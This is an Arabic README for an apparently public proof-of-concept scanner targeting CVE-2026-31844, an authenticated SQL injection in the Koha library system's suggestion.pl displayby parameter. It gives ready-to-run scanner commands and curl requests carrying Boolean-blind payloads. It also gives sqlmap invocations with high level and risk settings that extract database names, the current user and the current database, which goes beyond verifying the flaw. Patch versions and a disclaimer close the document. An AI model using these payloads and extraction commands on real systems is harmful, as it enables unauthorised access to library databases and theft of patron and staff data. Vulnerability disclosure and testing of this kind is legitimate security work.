
# ماسح حقن SQL مُصادَق لنظام إدارة المكتبات كوها (CVE-2026-31844) باستخدام تقنية العمى القائمة على القيم المنطقية للتحقق من الثغرة واستخراج البيانات.
يحتوي هذا المستودع على إثبات مفهوم مسؤول لثغرة CVE-2026-31844، وهي ثغرة حقن SQL مُصادق عليها عالية الخطورة في نظام إدارة المكتبات كوهة.
توجد الثغرة في الدالة GetDistinctValues في الملف C4/Search.pm، والتي يتم استدعاؤها من خلال السكربت /cgi-bin/koha/suggestion/suggestion.pl. يمكن استغلالها عبر المعامل displayby.
يُستخدم المعامل displayby في السكربت suggestion.pl لبناء اسم عمود مؤهل بجدول، والذي يتم تمريره بعد ذلك إلى الدالة GetDistinctValues. ومع ذلك، تقوم هذه الدالة مباشرةً بتضمين كل من اسم الجدول واسم العمود في استعلام SQL خام دون إجراء أي تحقق من صحة الإدخال أو استخدام معاملات.
نتيجة لذلك، يمكن للمهاجم التلاعب بمعامل displayby لحقن كود SQL خبيث في الاستعلام. نظرًا لأن الإدخال لا يتم تنظيفه قبل تضمينه في عبارة SQL، فإن هذا السلوك يُحدث ثغرة حقن SQL، والتي قد تسمح للمهاجم بتنفيذ أوامر SQL عشوائية على قاعدة البيانات باستخدام تقنية العمى القائم على القيم المنطقية (Boolean-Based Blind).
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
راكسيموف شوكرولو (موثرا)
يستخدم الماسح تقنية العمى القائم على القيم المنطقية (Boolean-Based Blind) للتحقق من الثغرة
من خلال حقن عبارات شرطية في موضع اسم العمود، يمكننا ملاحظة استجابات HTTP التفاضلية:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → خطأ في الاستعلام الفرعي → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → استعلام صالح → HTTP 200إذا كان الهدف يُرجع 500 للشرط الصحيح و200 للشرط الخاطئ، يتم تأكيد الثغرة.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
يجب عليك تقديم بيانات اعتماد صالحة لحساب موظف في كوهة مع صلاحية suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
للأهداف التي تحتوي على شهادات SSL ذاتية التوقيع:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
يمكنك التحقق يدويًا من الثغرة عبر curl. أولاً، قم بالمصادقة على واجهة موظفي كوهة والتقط ملف تعريف الارتباط CGISESSID الخاص بك.
الشرط الصحيح (يُرجع HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
الشرط الخاطئ (يُرجع HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
يدعم SQLMap بشكل أصلي حقن العمى القائم على القيم المنطقية. لأتمتة استخراج البيانات، احفظ طلب HTTP مُصادقًا صالحًا في request.txt. حافظ على صلاحية ملفات تعريف الارتباط csrf_token وCGISESSID.
مثال على request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
شغّل SQLMap مع تقنية العمى (--technique=B):
# استخراج قاعدة البيانات الأساسية
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# استخراج المستخدم الحالي
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
أو شغّله مباشرة من سطر الأوامر:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
بعد مرور بعض الوقت، سيحدد sqlmap الحمولة الصحيحة.
إذا تُركت الثغرة دون إصلاح، فإنها تسمح للمهاجم المُصادق بـ:
قم بالتحديث إلى إصدار كوهة 24.11.12 أو 25.05.07 أو 25.11.01 أو 26.05.00 (أو أحدث) والذي يتضمن إصلاحًا لهذه الثغرة.
راكسيموف شوكرولو (موثرا)
بوت تيليجرام @MothraContact_bot
يتم توفير إثبات المفهوم هذا للأغراض التعليمية والدفاعية فقط. احصل دائمًا على إذن مناسب قبل اختبار أي نظام بحثًا عن الثغرات.
المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. يجب استخدام إثبات المفهوم هذا فقط على الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها.